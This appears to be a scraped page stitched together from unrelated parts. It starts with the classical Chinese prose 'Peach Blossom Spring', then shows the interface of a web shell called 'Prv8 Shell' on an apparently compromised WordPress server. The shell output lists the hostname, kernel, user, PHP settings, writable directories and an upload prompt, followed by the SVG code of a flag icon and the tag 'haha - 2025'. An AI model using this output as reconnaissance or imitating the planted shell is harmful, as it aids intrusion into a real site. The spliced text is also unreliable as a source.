晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/oldTZh/wp-content/themes/betheme/images/flags/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/oldTZh/wp-content/themes/betheme/images/flags/BMD.svg
<svg width="20" height="15" viewBox="0 0 20 15" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_3122_25035)">
<rect width="20" height="15" rx="2" fill="white"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M0 0V15H20V0H0Z" fill="#AF0100"/>
<mask id="mask0_3122_25035" style="mask-type:luminance" maskUnits="userSpaceOnUse" x="0" y="0" width="20" height="15">
<path fill-rule="evenodd" clip-rule="evenodd" d="M0 0V15H20V0H0Z" fill="white"/>
</mask>
<g mask="url(#mask0_3122_25035)">
<path fill-rule="evenodd" clip-rule="evenodd" d="M13.7547 7.5C13.7547 11.1792 14.1029 12.4571 16.1999 12.4571C18.2968 12.4571 18.8705 10.6035 18.6935 7.5H13.7547Z" fill="#F7FCFF"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M16.3125 9.625C16.8993 9.625 17.375 9.06536 17.375 8.375C17.375 7.68464 16.8993 7.125 16.3125 7.125C15.7257 7.125 15.25 7.68464 15.25 8.375C15.25 9.06536 15.7257 9.625 16.3125 9.625Z" fill="#AF0100"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M14.2458 11.4462C14.6193 12.2795 15.2729 12.6962 16.2063 12.6962C17.1335 12.6962 17.7891 12.2851 18.1731 11.4629L14.2458 11.4462Z" fill="#5EAA22"/>
<path d="M14.762 9.39417L14.4131 8.524C15.0534 8.26729 15.6708 8.13727 16.2639 8.13727C16.857 8.13727 17.4744 8.26729 18.1147 8.524L17.7658 9.39417C17.2319 9.18012 16.7317 9.07477 16.2639 9.07477C15.7961 9.07477 15.2959 9.18012 14.762 9.39417Z" fill="#82B2CB"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M15.625 10C15.9702 10 16.25 9.72018 16.25 9.375C16.25 9.02982 15.9702 8.75 15.625 8.75C15.2798 8.75 15 9.02982 15 9.375C15 9.72018 15.2798 10 15.625 10Z" fill="#FECA00"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M16 11C16.3452 11 16.625 10.7202 16.625 10.375C16.625 10.0298 16.3452 9.75 16 9.75C15.6548 9.75 15.375 10.0298 15.375 10.375C15.375 10.7202 15.6548 11 16 11Z" fill="#8A4E22"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M15 10.5C15.3452 10.5 15.625 10.2202 15.625 9.875C15.625 9.52982 15.3452 9.25 15 9.25C14.6548 9.25 14.375 9.52982 14.375 9.875C14.375 10.2202 14.6548 10.5 15 10.5Z" fill="#AF0100"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M17.125 10.5C17.4702 10.5 17.75 10.2202 17.75 9.875C17.75 9.52982 17.4702 9.25 17.125 9.25C16.7798 9.25 16.5 9.52982 16.5 9.875C16.5 10.2202 16.7798 10.5 17.125 10.5Z" fill="#AF0100"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M16.6875 11.875C16.9291 11.875 17.125 11.5952 17.125 11.25C17.125 10.9048 16.9291 10.625 16.6875 10.625C16.4459 10.625 16.25 10.9048 16.25 11.25C16.25 11.5952 16.4459 11.875 16.6875 11.875Z" fill="#AF0100"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M15.1875 11.875C15.4291 11.875 15.625 11.5952 15.625 11.25C15.625 10.9048 15.4291 10.625 15.1875 10.625C14.9459 10.625 14.75 10.9048 14.75 11.25C14.75 11.5952 14.9459 11.875 15.1875 11.875Z" fill="#AF0100"/>
</g>
<g clip-path="url(#clip1_3122_25035)">
<rect width="11" height="9" fill="#2E42A5"/>
<path d="M-1.25269 8.12488L1.22291 9.21063L11.3062 1.18046L12.612 -0.432999L9.96468 -0.795888L5.85197 2.66454L2.54165 4.99607L-1.25269 8.12488Z" fill="#F7FCFF"/>
<path d="M-0.913757 8.88561L0.347444 9.51569L12.1431 -0.582886H10.3722L-0.913757 8.88561Z" fill="#F50100"/>
<path d="M12.5027 8.12487L10.3056 9.52057L-0.0561562 1.18044L-1.36198 -0.433015L1.28532 -0.795905L5.39803 2.66453L8.70835 4.99605L12.5027 8.12487Z" fill="#F7FCFF"/>
<path d="M12.4182 8.67082L11.157 9.3009L6.13431 4.97718L4.64518 4.4941L-1.48763 -0.427482H0.283246L6.41261 4.37728L8.04071 4.95655L12.4182 8.67082Z" fill="#F50100"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M6 0H5V4H0V5H5V9H6V5H11V4H6V0Z" fill="#F50100"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M4.0625 0H6.9375V3.0625L11 3V5.875L6.9375 5.9375V9H4.0625V5.9375L0 5.875V3L4.0625 3.0625V0ZM5 4H0V5H5V9H6V5H11V4H6V0H5V4Z" fill="#F7FCFF"/>
</g>
</g>
<defs>
<clipPath id="clip0_3122_25035">
<rect width="20" height="15" rx="2" fill="white"/>
</clipPath>
<clipPath id="clip1_3122_25035">
<rect width="11" height="9" fill="white"/>
</clipPath>
</defs>
</svg>

haha - 2025